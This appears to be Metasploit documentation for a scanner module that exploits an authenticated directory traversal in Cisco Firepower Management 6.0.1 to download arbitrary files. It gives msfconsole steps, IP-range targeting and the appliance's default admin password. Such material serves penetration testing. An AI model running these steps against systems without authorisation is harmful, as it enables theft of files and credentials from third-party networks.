This module exploits a directory traversal vulnerability in Cisco Firepower Management under the context of www user. Authentication is required to exploit this vulnerability.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/cisco_firepower_download
msf auxiliary(cisco_firepower_download) > show options
    ... show and set options ...
msf auxiliary(cisco_firepower_download) > set RHOSTS ip-range
msf auxiliary(cisco_firepower_download) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(cisco_firepower_download) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(cisco_firepower_download) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(cisco_firepower_download) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

This module exploits a vulnerability found in Cisco Firepower Management console. A logged in user can abuse the report viewing feature to download an arbitrary file. Authentication is required to exploit this vulnerability.

This module was written specifically against Cisco Firepower Management 6.0.1 (build 1213) during development. To test, you may download the virtual appliance here:

https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=286271056&release=6.0.1&flowid=54052

Verification Steps

To use this module, first you need to know an username and password. The management console uses admin:Admin123 by default:

  1. Start msfconsole
  2. use auxiliary/scanner/http/cisco_firepower_download
  3. set USERNAME [user]
  4. set PASSWORD [pass]
  5. set RHOSTS [IP]
  6. set FILEPATH [file to download]
  7. run

If the file is found, it will be saved in the loot directory. If not found, the module should print an error indicating so.
